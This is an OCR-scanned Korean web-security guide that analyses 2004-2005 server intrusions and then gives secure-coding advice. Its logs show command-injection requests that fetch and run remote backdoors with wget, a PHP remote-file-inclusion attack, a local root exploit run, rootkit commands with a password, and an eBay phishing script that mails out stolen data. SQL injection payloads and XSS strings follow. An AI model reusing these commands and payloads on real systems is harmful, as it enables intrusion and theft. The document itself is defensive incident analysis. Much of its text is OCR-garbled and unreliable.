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gaeE A5 F dREeh theRE A] AMEE COI ZEageld ¥4 URLS
A3 ghob A2 o] Al B 4 gl HoFdS o8 WA Fe)o) Aol =e] A4
AA e Wzo] T2 shg ek Ate] e AY)3, wEe] shelo] Asst

Holol A2 §3) TshAI2go] BEolS 9. sk

201.9.xxx.xxx — — [28/0ct/2004:10:59:45 +0900] “GET
/cgi/b/t/board/main.cgi?board=FREE_BOARD&comMMand=xxxx_xXXx&xxxxxx=|wget%
20-P%20/tmp%20http://xxx.xxxxx.com/cavaleirosb1/xpl/rootedoor| HTTP/1.1" 200 5
-" *Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)”

o HEQ oY HEE

201.9.xxx.xxx — = [28/0ct/2004:11:00:10 +0900] ‘GET

;€d%20..;,cd%20..;cd%20..;cd%20/tmp;chmod%20777%20rootedoor;./rootedoor|
HTTP/1.1" 200 5 “=" “Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)’
o HHojuted ASHHZA U A

201.9.xxx.xxx — — [28/0ct/2004:11:00:20 +0900] “‘GET

;¢d%20..;cd%20..;cd%20..;,cd%20/tmp;ls| HTTP/1.1" 200 3514 “=" “Mozilla/4.0
(compatible; MSIE 5.0; Windows 98; DigExt)”
o W i MX|oE &l

201.9.xxx.xxx — — [28/0ct/2004:11:00:53 +0900] “GET
/cgi/b/t/board/main.cgi?board=FREE_BOARD&cOoMMaNd=xxxX_XXXXx&Xxxxxx=|wget%
20-P%20/var/tmp/%20http://members.aol.com/cavaleirosb1/xpl/rootedoor|
HTTP/1.1” 200 5 “=" “Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)”

o W oY HEL MAZ

201.9.xxx.xxx — = [28/0ct/2004:11:01:17 +0900] ‘GET

200 69 =" “Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)’
o SO HEHHZ 3 A

/cgi/b/t/board/main.cgi?board=FREE_BOARD&coMMaNd=xxxx_xxXx&xxxxxx=|cd%20.
..d%20..:cd%20..:cd%20..;cd%20..;cd%20..;cd%20..;:cd%20..;:cd%20..;cd%20..;cd%20..

/cgi/b/t/board/main.cgi?board=FREE_BOARD&comMMand=xxxx_xxxx&xxxxxx=|cd%20.
.¢d%20..;cd%20..:cd%20..;cd%20..;cd%20..;cd%20..;:cd%20..;:cd%20..;:cd%20..;:cd%20..

/cgi/b/t/board/main.cgi?board=FREE_BOARD&command=xxxx_xxxx&xxxxxx=|cd%20.
.€d%20..;cd%20..;cd%20..;cd%20..;:cd%20..;cd%20..;cd%20..;cd%20..;cd%20..:cd%20..
;0d%20..;cd%20..;cd%20/var/tmp/;chmod%20777%20rootedoor;./rootedoor| HTTP/1.1"

A 27 FE} AA-O] Jast 2T1E 53l I YT [P+ 2019 xxx. xxx 22 ER1E

=
¥, Whois 3/ 5] Hebd 1Peg o 4 9ic,

[root@xxx tmpl# Is —alct

total 468

drwxr—xr—x 19 root root 4096 Oct 29 12:38 ..
drwxrwxrwt 2 root root 4096 Oct 29 04:05 .
—TW—————— 1Twww  www 234 Oct 28 12:34 .bash_history

—TWXIwWxrwx 1 www WWW 446714 Oct 28 11:04 brk2
o 2HFAUM 348

—TWXIWXIwx 1 www WWW 10927 Oct 28 11:01 rootedoor
o s T2

[root@xxx tmpl# more .bash_history

w

cd tmp

wget

Is

uname —a

locate httpd.conf

locate httpd.conf

find / —name httpd.conf

wget http://www.xxxxxxx.com.br/brk2

chmod 777 brk2.htm

Jbrk2.htm

chmod 777 brk2

Jork?2

cp brk2 /var/tmp

cd ..

cd ..

cd /var/tmp

Jbrk2




M2% =ZHoIX| shZ

bash—2.05a$ id

uid=502(abcd) gid=502(abcd) groups=502(abcd) =
bash—2.05a$ cd /var/tmp

bash—2.05a$ ./brk2

id

sh-2.05a# id

uid=0(root) gid=0(root) = iZE A= FEHEICE HEF
sh-2.05a#

inetnum: 201.0/12

status: allocated

owner: Comite Gestor da Internet no Brasil
ownerid: BR-CGIN-LACNIC

responsible: Frederico A C Neves

address: Av. das Naes Unidas, 11541, 7°andar
address: 04578-000 - San Paulo — SP
country: BR
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o] AP Bz AL Al At e HlolA)7F A = Ao, ofelet

2o] “ 47173 ek Tl =S A2 gHEo] 34 Tl solX|2 whEe] kel

http://xxx.xxx.xxx.xxx/.4z1z4/ ssl/html/ebay/http_eBay.comdone-7E-20secure—
7EaSS|L—7Earestricted_activations_contine_verify_admin_security_ebay_
SSLSECUREDaeBayaEcheckaEsecaccountlD_har263748fusersecrbay4.htm
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o Elo] ) Az A QIglch WAk =3 Al S A ATe s ow o

° e e [root@t4linux libshl# Is —alct
Y Y 0 R Q) 52g) AAA MEYD AokRS Refst Aeglonz £ OBl et o001
N —rwW—r——r— roo roo r ide
Aol A Abal A3 X3kt —rw-r—r—  1root  root 1345 Mar 15 2001 shsb
drwxr—xr=x 2 root root 4096 Feb 24 19:11 utilz
drwxr—xr—x 2 root root 4096 Feb 24 19:11 _sniff
T3] A|AHE Linux 7.1, Apache 1.3.19, PHP 4.3.1 28-S AREskaL Qlglom ARE- drwxr-xr-x 2 root  root 4096 Feb 24 19:11 .owned
. . CL 2ok drwxr—xr-x 2 root root 4096 Feb 24 19:11 backup
QU A ANTE F{oFeE AlRHEE 41 plds ARSI QU A = FoFeh wAdo] drwxr—xr—x 4 root  root 4096 Feb 24 19:11 ..
S php.ini®] A% 3 “allow url fopen =On”, “register globals=On" 0.2 A4 %] [root@t4linux libsh}#
o] 9lof 910] F2lo] 7R5a Aelgict. 2T PHP 4% F @ AlZH o] ok Hof 20059 19 96216 fusrfinclude otele] ZEA0] 81247 shelo] MR Glow ol
0 SR ol Rl AR it Sl of HSr S e s Al 2 sholo] AT WAl Is, ps 5 72 FASE x| QT YO fusr/include
AElod
SRR L =l o] AgEE o8 of7]o] fileh, hosts he} 2ol A HEutelz

Spgete] FEZS Qe A gurelS THEo] 1 Ylir
frarlog IS 17} AP efsiont ol 301 5 A dhel

= & 5 gle Aes FARTL AL 915 w717 g Y92 wE ) o FEZ AU 8O RA o|F Foll JOoE 34 R adEoY 34
A2 FAE 4= Qi
E3E AR al sl A|AHol= A7 s 29 o o] e gAY wdEu F (7 2-1) RE3 #Z8¥ oY
EZlo] Ax]E]o] Qlof tha=o] AR o] o3| ofu] 345 W Z1 02 AT} mas H 8 nes ; 2120 =
ﬁQ-S%O”f 2 195.26
. i o - 2194143
oh32 all g Al Aglof| A HEASE 3 AR} 3 A Y9} Bl dgf=olrt Syster 2 62.220
file.h shsb hosts.h 3 %88%
libsh.so 3 6667
e REF AUn 5 o4 g9 A3 :Egniff 326550
1
L srdo 4 61690 |
2001 3% o] FRE| Thmo] Tjelwalo A oby miTso] WA glom A4 Tl 3 mirkdorce
S A HEE dE A » g ﬁ;{fac(f”
mirkiorce .
log.h synscan proc.h % ﬁ;;@g
_ . _ syslog
A, 20018 3€Y 15 /usr/lib/libshol] 2~U 1 Z 2 13 (shsniff)@} 21 AHA] T2 13 g :E;b
(hide), T12]32 270 - o] A= AT, 1 Tyieag
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hosts.h IHdof| EA P E53 ZESo] Hol=d| [P E5(HHAIY IP E5U) 54
AL TP 7hsAdo] o ZEMS = o] ZELU 343 99 ARSE= ZERE 7
el 3R IRCO)| ARR-E= 6667 SEEE %27] 1AL 3t

20054 29 9oll= w4 T s Eo] AAH HEH e o]5(4z1z4)7 YU HH =
27} /dev ) E] Yol A= ALt /dev Y Ee]E fYAA 2 H oA |t dE
o &= Holu, TEAPF TS 7ML BA] g A o]85to] 3 AAE] 34T
-4 AiEEs sA% s daR Wol o8 Stk /dev/ . 4z1z4 HEEE o= Al H]
ol WA E= HE 7] dEdte] AREES o= 2RIy 1 A3 AdE oY
(.sniffer)o] "A = ST},

he-o sniffer?] Y8 QR DB AFRAIS Q] AYES} o] QJglon] 2}
7HHE ALTE Sk = ARE O AT

/mysqgldump —u root —p mysq| :

Enter password: xxxxxxxxxx = DB IHARETL ==E
J/mysgldump -u lee —p lee :

Enter password: xxxxxx = DB MALICI} L&

chattr =i /bin/ps

/usr/sbin/sshd -R :

Jlogin —h xxx.xxx.xxx.218 : = oflZst £ CIE MHES| H&S sh= LHE0| MEE
/dev/null

Listening to port 35214

password: m203a4z5

/usr/sbin/sshd -R :

o AZRE ANTE 0|43 37 £7

20059 29 14Y, T3l AlAEoflA 2 591 37H2] Z=wQloflA] ARE- 52l AR R =9
F P o] 83t T A =7} 9 access logE B3l EH1E it

200.103.xxx.xxx — — [14/Feb/2005:08:26:06 +0900] ‘GET /bbs//include/write.php?
dir=http://www.xxx.xxx.br/contador/cmd?&cmd=id HTTP/1.0” 200 O
219.116.xxx.xxx — — [14/Feb/2005:09:54:38 +0900] “GET
http://xxx.xxx.xxx.kr/bbs//include/write.php?
dir=http://www.xxx.xxx.br/cmd.txt?&cmd=ver HTTP/1.0" 200 O

TARR= 29 1497 B2EF(200.108. xxx, xxx) 7} LE(219,116, xxX. XXX)E_E—‘?—H PHP
Injection 543 AlkLsto] U AH Q] AREAL A1 52 &Ikt 2110 F2 7|50 =

£ AR Ae] s AASE SIS S Yot g Zastel 2w HY 5

271490 Bl el BHelat 4= gl

slsAl |l vl=re] A7 *}OLE—" ebay2] $1 Ate|EZF 55 o] Qlolom,

kel 5y AR} HZ AR 2 el W 58 Ea 9 HolX o] [4 S st
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[root@t4linux ebayl# Is —alct ?
total 168 $ip = getenv(‘REMOTE_ADDR');
drwxr—xr-x 2 root  root 4096 Feb 24 19:11 1_files $maill = ‘midyearbayids@yahoo.com’;
drwxr—xr-x 3 root  root 4096 Feb 24 16:51 . $subject="eblayloglin I';
—rW—r——r—— 1 root root 960 Feb 16 16:52 ebay2.php .
—TW—r——r—— 1 root root 12686 Feb 16 16:53http_eBay.comdone-7E- .
20secure— 7EaSSL— it ($result==1){
TEarestricted_activations_contine_verify_admin_security_ebay_SSLSECUREDaeBayaE mail($maill,$subject,$mailbody);
checkaEsecaccountlD_har263748fusersecrbayi.htm .
0 ”
—rw—r—r— 1 root root 14331 Feb 16 16:53 http_eBay.comdone—7E-
e @ARA oA AAFRE deishs AolARA FEdE U AR
7Earestricted_activations_contine_verify_admin_security_ebay SSLSECUREDaeBayaE o

= = =2 ) =
checkaEsecaccountiD_har263748fusersecrbay7.htm (Social Security Number)s-] %S dHotes =ol glon, dHd 7tEvss
—rw—r—r—  1root  root 585 Feb 16 16:54 loginl.php oIStk WARE BolFEal 1My 3R HdFAaz g W8-S w3t 3y
—rw—r—r— 1 root root 148 Feb 16 16:52 period_ani.gif B wo] |2 AAH
—rw—r—r— 1 root root 195 Feb 16 16:52 1.php
—rw-r—r— 1root  root 1088 Feb 16 16:52 ebayl.php ® YIHA o]z oAM= YEH 2P YR 7} ZE AT WA E HojFn 7FE-
drwxr=xr-x 3 root  root 4096 Feb 16 16:52 .. 9} LHPARAST So] AHE ol o] 7|AE o] QS oF o7 Al o ] =u
[root@t4linux ebayl# 5

27} U4 YRS W F kA ol 42 A2
© ubxa} sol Aol Al e thgo] 2 ShIEgithe wAIxIet g Qe ol sEe

o] $14F ol So] 17 RS whh B cheat 2ok 7] £ £ g% 4y
@ 212 14 A, cbay AOIES] ofo|tiel B|AYEES Ashs 27191 sol o] 44 oA7]olA Sk Afo] =0 BAR} Ml F45 WAT T A= 5L qJeiat At ol
@ o] ol oAl AA| EAY3H= ofolt], HAUES g YsiekE Qo] B3 of 22 17 AR} Q) FAR AR S SIS 4 Ik ofdl el 14l A
the HAIA7E 71 A slolX 2 Adue] ARt ofeltlel HAYES eist o E0] QeiF Ylgo] B-maile 53 HEH AL 2 4 gk
£ GEg

@ FHA Fo]zo|A HH oto|t|e} A= 54 AU FA(midyearbayids@
yahoo.com)= 5% A0 2 A|HA Ho]X = AAH
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DR BIE 2IY BGP AR EXHD S SSBH
g - @03 X | P 2AE AN HUL WTRM | LU0 | B RAD HIED @ = s 8 66135)()(X)(X)(——[14/Feb/2005042627+0900]
‘GET/.4z1z4/ ssl/html/ebay/http_eBay.comdone~7E-20secure-7EaSSL~
3 maen i) mE i 5% TEarestricted_activations_contine_verify_admin_security_ebay_SSIL.SECUREDaeBayaE

checkaEsecaccount|D_har263748fusersecrbay4.htm HTTP/1.1" 200 36471
66.77.xxx.xxx——[14/Feb/2005:05:38:26+0900]

‘GET/.4z124/ ssl/html/ebay/http_eBay.comdone-7E-20secure—7EaSSL—
TEarestricted_activations_contine_verify_admin_security_ebay_SSIL.SECUREDaeBayaE
checkaEsecaccount|D_har263748fusersecrbay6.htm HTTP/1.0" 200 20713
168.143.xxx.xxx—{14/Feb/2005:11:24:52+0900]

‘GET/.4z1z4/ ssl/html/ebay/http_eBay.comdone-7E-20secure—7EaSSL—
TEarestricted_activations_contine_verify_admin_security_ebay_SSIL.SECUREDaeBayaE
checkaEsecaccount|D_har263748fusersecrbay4.htm HTTP/1.1" 200 36471

B-bal
o : 211.252.151.44

10F - Enioly ! by Ellid. !

o] fig v HlUdS AR ARBARECl 2F8lo] 8 H|oJAE & Ao Holu 5
ele] 77 &2 TP7F H&3I3itt. =Y, logs 2RI A3t A $1 # oA oA 717
=

h (98 21 Emalig BS FE 3RS R FAe vl e e
= —MmallE 3ol P1=€ 83

sfal 2w oju] o A5H ofel vl 2H thpe] sAA7L S22 SHEom, s, ps

o gA F 27 BA T T8 Al2E wRlo] AT Ay T2 o] A E= 5 FH LIS HeiE 4t
2ol SHo]A] X ARoA £3] & 4= Yl AlRH T HoFS 0|83t ¥4 (PHP
20059 29 13, SR ol that s 4} 7)Zo] ot 9igick Injection) = I3,
[Sun Feb 13 13:30:20 2005] [error] [client 69.31.xxx.xxx] Directory index forbidden SER|EE o3t B2 o) QJdll $1% ebayAte| EZF A E AT 2+ 2R3 = Q1%
by rule: /home/kypp/public_html/.4z1z4/ 51 olubalo] S1FZIALT oA - AAE AFd=le] 5210
[Sun Feb 13 13:30:30 2005] [error] [client 69.31.xxx.xxx] Directory index forbidden 2 el ARl K] B 21 HEER|(var/log) AAS AAISIel £S5
by rule: /home/kypp/public_html/.4z1z4/.ssl/ntmi/ebay/ " 8}aLA} SFATE
[Sun Feb 13 13:36:31 2005] [error] [client 209.247.xxx.xxx] Directory index
forbidden by rule: /home/kypp/puinc_htmI/.4z1z4/.SSI/htmI/ebay/1_fiIeS/ w /\]-_1—_’ ]/\_] _\-]-_]}\] _(HX]_ /\]'OIEPJ ;,173 Hl"ﬂﬂ]— ;,—Lﬁxl_g_ ,—1],].8]_——]—,]]_ 6‘]—0:] O]/]- X]P‘(j;(-]o]

HAE Zhe 5 glo] ofaleh. IR 2T = vl | AsEe] 7HA)AL Qs PHP

2], 20059 29 14 AHERE 9 2 T(access log)oll ebayz 914 Ho] Ao tigt N
A FoFo] T 27|3Hd Bixe| o]&-d H ofufe} u] 4]y} =2 HIo e o]-8H 4= it
=y

44T 71Z0] thgs ot Qe
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M3 SHOIX| 7HLA| Hot FoFF 3 cizH

LS o qlt}, T YRHAH O R 2=3517] 4|2 URL(ex: /admin, /manager)& A
A 34 | SH|o|A] FlHEA] HOF2|0kA Tl Tl aka alﬁ ofole]/a|2 )=o) et 22 i A o7k o] ts) 8 ek Rio] gu

2 Ao 2H M| 7153 97wk 9 el Asto] D B9 BuolAe)

Bk ot 2ok ol webd @ Aule] P E wE e AR4o] AR,

Lt A& AL

Zujo|A] 7Rt Tl A BHIYE &= Q1= Bk oL ditks] thoksitt, B Aol A= & D) F2A} HolA| QT -3
AR} A 22 Wol 025l Euo]A] Ry} Haly] 219 Z=Q Hot 2ok 107} o B o] Tejz} Ho] A= http://www. test.com/admin 51} o] A F=0| 7H535}
A& 275k ZF Zekd ol tist AbA|st AW T} o] Zekdo| tist Kot ojiu) =2 o}, I Q1 I o] EAslE 2ke SQL Injection, JavaScript M= 52 FoFHS- 0]-8-51
A E AABHER ST ASIE $-3lste] A |zt Pk &5 3 4= 9lk
AR H2EH Hod e
L sHord 4% =i Sree s

I 2 = T oIEm

HEA B A 28 2 Qs srje) s L e
j10% Qo2 Bl ool et 45V} Rasie = s

(3 3-1) Balxt Ho|x| QES 5[5t 4

HelAt go| A= ) Au|Ao] AR glof]| RIS £407 BEs] Slgt Haoa Ch Ferg E
CHFet 7 s ) Wehe 21 Qa1 o= Fuo| x| 9] &g i Fasgt e sfar glona
AR Q158 B6IA] S5l & 2 ofuel WA TR} glo|A & & 4 o Unbz o2 go| ARgshe HelA} HjofA] e dsto] WA} #H|oR|7} EASH=A]
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Az

http://admin.victim.com
http://www.victim.com/admin/
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L #1947 4 230

7t IR

AR thEEO] AP ESS AREALREE e Z1E o] &) TlofE Ho|A s
912t SQL QueryE WHEAL Utk AMSAF 27101 IHY& o= E9, AMAF Frash A
WAL EE A=A ERIsh7| Qs ARGAF A1 329 =of TRt SQL Queryt= BF
Er}, o] SQL injection 71H<S Ea4 AAFAS] SQL queryS WX 4= Qe g 22tE
AREAL o] 5t A EES Bl FAA Q] FAE Wele 4= olnk o] =Rk v/ el SQL (33 3-7) 24oIXQI SQL Query2 &1 )
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£he-2 SQL TS )51l 1%L Helshs YAl 9 ol T2 vheih

$row = mysgl_query (“ SELECT Aol ’é.*—’.‘- S from USER_TABLE where AI&0IH
="XHmAAZY and FeHs ="FHMAHZ
if ( $row ==1)
/] 5 4T 2El

=

v

else

/1 5

>
U

o £E

o] 2T E] FAR} testel AHARE YRt ARDHSHE BhAl A or ‘A
="A o] g2 YshA ofele} 22 SQL Query”t SAET,

SELECT AlFolH, H4tHE FROM user_table WHERE A&HQIH=test AND EHHE=A’
OR ‘A=A

o] 79 T2 WHERE & “ AND 713l OR " ¢ WHERE o] A4 ¥]] 2271
Zol Elof SQL T2 &2 2 gro Helsh sof FAAE 9 913 welAE 4
Tk 4 A Bk

(2) MS-SQLAIA 9] 4|28 o] 413

MS-SQL HJo|EJH|o]AS AFLEIE HOE o2 So Ba} wkek glo]elHo]A Ht
ol AlAE AT AL Utk MS-SQLAA Z1EH e Agat 9
xp_cmdshello|2}= Stored ProcedureS ©]-8-3t0] A|AH] W0} Aede 4= 9t

d

A= 919 Q15 HolA|olA A1l test, FH2o] 7 exec master..xp cmdshell
ping 10.10.1.2" —— #E& YTkl 7HY81H SQL Query+ thaatk o] £ Zlojtt,

SELECT AlHolH HM4+HS from USER_TABLE where AHQIH="test and TS =";
exec master..xp_cmdshell ‘ping 10.10.1.2' —

o] SQL Query+= SELECT Query%} xp_cmdshell QueryS SQL Query”} <2402
YA H| vpAERe] —— Ak 0] M FAMES 4 APt 2= SAA

=
=
RS

2

(3) Fobg Wt
o 7Ao] B= 9 2 9lojo]t] PASSWD BEof Zupg ("), ALuhSE(), AlulE
£(;) 5& 4% ¥, DB error7t doluh=2] 211514,

o 279 HE AA
- MS SQL2! 7 Zof [Cor 1=1 ;—], H]UHE HEoji= opL Zrolu} ¢J2jet
g 271018 A}
— Oracle?] 74 ID =9 [‘or 1=1 —], HEHS HEofi= o} Zroju Y&t &
281 A=t

o 7]}
D BE Cor 2, UME B [or *= 12 Jeigt F 21918 AlEgi)
¢ Ofx| o|2lol= Cist B0l 7ks3sh| 2o, 2321 & AKX Y= AE AtEst

= 2A0A DB Query A BiAIZ =1 MASHOF St
Cl, 25 C{
1) &y o

o glo|ElHjo] A9} PIES Sl ATYEL] BE el ES HAGle] A&t oY
%ol SQL injection= BHYA 7|1 2] FeF A3t}

o AREAL 19 o] SQL injections WYAIZ|A] RS AREAL U Al SZAK "
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Space —— +5)7F ZREI0] QA HARI] B854 gk BAGoIt BA7L T3

ol o= = A=,

* SQL AH 2] ofle HIAXE ARGAR A HojF=A] it it S22k e H
= ol ARl Bk 245 Foto] 3400 45 4 3= SQL Injection 2EH &
dopbd 4= i}, wekA SQL AH 9] of2] HIARE 2ol AlEohA] = it

o g ofEeA|o]Ado] ARgSh= TlolEH|o] X ARGALY] Heke: AFRITE Zhsshd Unk
AR} P 2= HE system stored proceduresol] 81| FoHESE dko] 9 o
SdAl0]A 2] SQL Injection FeFs o]--5to] tojEH|o]2 ZAf|of tigt Alojde
DA HlolEHo] g 285 Ao tidt o] &7ksdstes Bk

e php.ini A% ©73
: php.ini 24 % magic_quotes gpc 2 On2.2 i},

; Magic quotes
; Magic quotes for incoming GET/POST/Cookie data.
magic_quotes_gpc = On ; OfftilAl On2Z HASIC},

; Magic quotes for runtime—generated data, e.g. data from SQL, from exec(), etc.
magic_qguotes_runtime = Off

; Use Sybase-style magic quotes (escape "with " instead of \').
magic_quotes_sybase = Off
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F2o] FHjo]| A= AMARES fIste] of2] 7HA] F79 AATE ARgStaL AN TS
< S HEok= 75 § TRt 71e-S 7HAIAL Sl of" AN R uk YR e
715 oFgato] fl AH 9] Hgto] =3 4= Qi

T AT JRE Bz 5] ARt gk A3 oRE AStke FY

3R] okow FART} A% Server Side Script Y-S YRESIL YRE ¥ u)
H Aol A A2 E 7535 F o] BEE S3l Server Side Script T+

Y58 4= QoL o] gt IS ol A AH Q] Hgte] eEE 4= qltk 4

£ FHo|AE Foll Adstal § HepeAE Fof 1 A} gk Hul AL

AL Hgkolu QI Ao ZQle Al & 4= QlTh

O

3], 9 A8 Hl2e] 50| Unix®] rootsh 2:& AAE Bele] BHOR 75 9 7
2, A28 Belat BEtol FALA e wEE 4 Gl ] AT Bt FHP
olet,

Lt A& Al

1) ¥ A <] AXFof 225 Server Side Script ¥+ Upload
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nE et ol bl £ = -
e T o A ARG} AlA| o] TR 7)50] A RARRIT
I COARE R AR HINL 2= AlBEE
- == e o) Al B AHeAl, el A, ofmlA] Al 5
o JH7150] EAeH= 4%, ST jsp, php, asp, cgi 5 Server Side Script 271
ol WS HR2E sto ARET} 7heRAl ARG o] wf SEo|AE Tz oA
DN EU EE JavaScript, VBScript 52 A2THEZ HAHHE AJdsi= H9- A7 52 A5}
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y o ZH|o]xof Q= tEEe] JHE o] gsto] 53t Server Side Script Z217H9| 9
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 Upload 5191 913+ tlelE 2ol A4S AAQ Ao g

. - = = o CISEE | 2A SE{E SO HTTP HIC | ASAH 22 28
: Upload #4< 913t % ‘3]‘“'“53] %E AY7d38te] httpd.confot 22 4 A= H| ol Eiii*‘- i! 8121 CHEM A lauEl J'I-‘MIELIIZI- !
= dgafolol ) AL A RM, Server Side Seript7} Uploads| el b= F Ll =an 2o 2e tepEE
9 ol o] AYsHA] oA sHA-S A St LS SRR D
& lzlo] Assbr] oA eHdS AAed =23 B2 [#upload
C 23EE &2 #yA(D [ 22 I8
. . B . P S21E ¥ 0 24 Aol
o HRulelo] 3z} HElE 22 © Cete 28
AR 5 akA 9] Upload A% Al, UploadSlE utle] 4215 HEslo] 2g ssz2m &
& 2R S HAhs RS A%lste], AEg Hele] gt o]]o] mhele] s == ESSCTiR(Y” PESS = _28@ |
. 3 ’ . o B AEFFA <12 & MIIE> =aa) |
M JRE H7) g oln) o] WElF 72 A4 Tas|of 3, sy mwE) ES = ——
25 =208 2200 22 |
HHMATBE mgr - = = —
() A 2%) mek
e T WEA] FA Wato] obd Ak Mg RO 2 TEFHEE Fitk. o = = = o eir
ARG BTk ol gBto] Bk HEUAE Moo ARG AT YRS (I 307 1IS =2 52
Fr), Y= © vegejolA A8 U3k A K WEe dAHol e SR 24 3 o Apache 4%
9] 524 glo] 7es] 4 B 4= 3l  Apache 437 312191 httpd.confol S TlFE2]o] it 24 ERIE AEE37] 9

3l Directory A1412] AllowOverride A Aol A] FileInfo E4= All 7}
o [IS Hot A4

C AR o Aolgk o BT o oY A A ez} A= (Directory “/usr/local/apache”)
AllowOverride Filelnfo (= All) =,

A PR=E S0 225 SYS okl SR HeE AgHde e o= AF

{/Directory)

ot = g e htaccess TS WHEIL T3} 20| AddType AAAE o4,
FA Aol 4] &Y== Server Side Script ZHAE text/html2 MIME Typed A%%
5to] Y2 H Server Side Script”F A A] == HA T
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= |

E+= FileMatch ZAA|ARE o830 * ph, * inc, *lib 52 Server Side Scripti Qo] of
341 213 URL 3&& FAAIKI

(.htaccess)
(FilesMatch “\.(phlincllib)")
Order allow, deny
Deny from all
(/FilesMatch)
AddType text/html .html .htm .php .php3 .php4 .phtml .phps .in .cgi .pl .shtml .jsp

X FOIALE
1. Apache AtH2| B AllowOverride X|AXIE HZ Al apache restart’t ER3SiCt
2. oIt H2E xi= ClEEZ|0 2Yo| RSt Server Side Script?t ZXlst=X| ERIStCt

oy Ch2zt Z=730| ofd 21 URL S&= Sofl s Ch2e= &< FileMatch

T oT

XARE AtSsHH X 2ot efdRte| ojed th22E= AHREL,

N8HE CI2RE HUH
L o 4%
7t M

Fo]x] Aol TelE theuFt QIRE A7) 44 cgi, jsp, php, php3 50 =
IHES ARt 7 o]2i3t cgi, jsp, php, php3 5] ZRIA ez H2E
AR oF A<, dele] A/ S Fa nael d8e B 2 Auel & oY
EE glojuha] 4919 f1A]9] e S FetAY thtl= Aol 7 4= Qi

oA fwinnt/win,ini@F Zo] AUARE o] X|3he|A AlAHE YiEe] ukel
EHor g53k 4= qlrt
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ZholEERelE W= Aot

2. 5% 4
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o shel themme) Here S shale] ol FASH: v vk Thews o i,
09| 0|52 Yolguo] o] At RS 3 Al 8 3 o) S} u]wstel %2 9| 9AH WA BEo) AR keyghel: id)2 hidden form WER A4 7, o]
23] Selste] AT 22T 4= G WS AASH: o] Hidkasich Eat 2 thA] WobA] updateo] AHESHE 2971 Sl TARPE o] g WAT A5 T A
CReRE 9 AHE dol| APAE s o] AHgaHs Aol wirastcl, B ARE WHT 4 U Hopo] EAfal
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o Ha

" HTIML &2014 FORM 2= 801 3 3l gho] o] @A ARSE=XE ahofA] &
sk g,
o X3
Lol 3] A4S ARE 4 Qs FRIE, St Bl Z7h B Au A8
Apgaeh

@) #%F A AUZL Bt=A] AH o)A 3= o]of g},

JavaScript, VBScript = AMEE AREAL 9 gF A T2 931 4= 7] w2,
Aejol|A] 2% HHsk= Zlo] Basith 28 *1‘1194 HolE £0)7] flsiAl 128 o= St
ol AE gdof| A AT 4= 9l ot Bt FA| O & ARESE 4= glr), Rt fEE 7]
Soll 23 HE 1A o] S-S ARtk flsiA JJr°‘ A2} AARE scriptS ARESIA 9 2
2h9-A] #llof| A 4=efgt 749 F AR T scriptE F-Eal|A] AHol] Yok AT HE 7t

A AT 4 9l

o A
s HTML 2 ¢ o ZeAlo]d & 2F

B) ZetolAENA T8 FRE ALFHA o=t}
Java Applet, ActiveXE A4 C/S olEZe|AlolA4E 2Hddke 749, SetolAE A
AE= HEHE 58 AEE st= ZYsA= Mk Cookiedll 58 HREE ALe

7% g akIA Abg ok st

ox

EE R
~ HTML &2 2R

— URL F4:°]| javascript:document,cookieS Y& 3lA 7] Ul-g &<l

(4) 58 AKX HF A POST Method ¥ SSLE 283},

AEARTE T8 JEE W te POST MethodE ARS-3loF 1, 11 58520 w2}
SSL= ARESE 2t BAlS A-88fioF 7ttt SSL Ak A6 Al JostE A etz vl
Aot JH= ol ZEAlolA M el Yool ALsliof gt

o H4
1398 AH AY FORM ACTION®|| AR Z2EZFo] “HTTPS 2 Hof Q=3 &

0]3
-

oL

1223

5
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(5) F28 BRG] Ao ZeA Ao A8 HIANEE AskeIh),
ARAO] IR ERAA0] uLHE AEklshs 2ES F7le A9 By
9oz Qg 27} WSS A 4= et

o g

Dol AL 2

6) 38 AHE BAFL Ho]x L& A E AR F3l=E AAe
%92 ARE HoJFE= 3Ho no—cache A4S 3HA] &2 79 2T10R-2- 3 0] 5of =
[F27171] HES ARE3lA 3lld W8-S & = = $igo] &3t}
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o 22 B ASP (Visual Basic, C++, C#S2 AIRSH ZE ASPO| Xg)
— no—cache 4742 ¢34l HTML HEAD 5o ofef] Yj-8-& F=7}3tc},
e include TS H 3514},
{meta HTTP-EQUIV="Pragma” CONTENT ="no—cache”) — Qb0 U] EE'](/hb /mclude /hbrary =) /\}ha_o}x] ol & st}

~ include 2152 L 79 90 o)X Aol BlAE

(7) A3 PHo = o5zt TR Q141517 %—?E% .asps E°1 A /\}%??_H:}.

AA| At oF oSt darelE AR A, $91E st Yale]E(3DES, SEED, (el: config.inc.asp, lib.inc.asp’s)
AEST)= AFEdhe A E%ﬁH F 3ttt Aol E ARESIHA] g dalefEe dest o — Lo SPYAE AR - ofgie} o] s SRS AP S 4= Qs <l AH
algjgo] opel, v 1Y YalgfEo R 7S HAT 4 gl desb]e ek o)A H7gste] Fct

pardcodingIo} A 251, AL RIS 1220 75 oot

e | e Exlingiana !
I |wru| ’tl:lllel!l ] LR 1 oemnwy | [EE
; mamenammul | BB, el
B ﬂa,; BEID

roE r.a[w swr-mam}

W URLE B

: [W '.m]@'-_;'

©) Z Aojoll A A3k Bt 5

mlo

olsha F At

FF i

B Java

o Java Class & 1t &4

Java €1019] Byte—code EAJLR 213}0] Java class= A o #Hutdo] 7R3}, 1t
oF Java Appletoll 58 FH (of], YAA] F&Z 91 ID/PW, DB Query, 214 A&t oF&
st dweE)E, =23 22%5)S hard—coding YtHY, o& WA 347= g ARE
&S = Q= flddo] EAE. webA QR & HEE= Java class o= 58 FHE
hard—codingdh= 2 A %Fslo} gt}

]l we | msw || sse |
(38 3-12) .inc, .lie SEXIE & AO|ENIN X2[6I=E HH

o Sun Microsystems©l|A] Java =273 7§k A| & sfjolst choFel Bk Al Aly- e Server. HTMLEncode
sl Qi -85 EY Exdof tist HTML encodings 4383t} AREA7} st oz
— Secure Code guidelines(Sun Microsystems) : HTML #|o|A& FAJ3}7| Aol ARE-8PH Cross—Site Scripting 524 5l
http://www.java.sun,com/security/seccodeguide. html apAolct,
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— A& 7Ps3HIS : TIS 5.0014
- A

‘ (%= Server.HTMLEncode(“(script)alert{document.cookie);{/script)”)% ‘

- A3t

‘ &lt;script&gtialert(document.cookie);&lt;/script&gt; ‘

® Session. Abandon
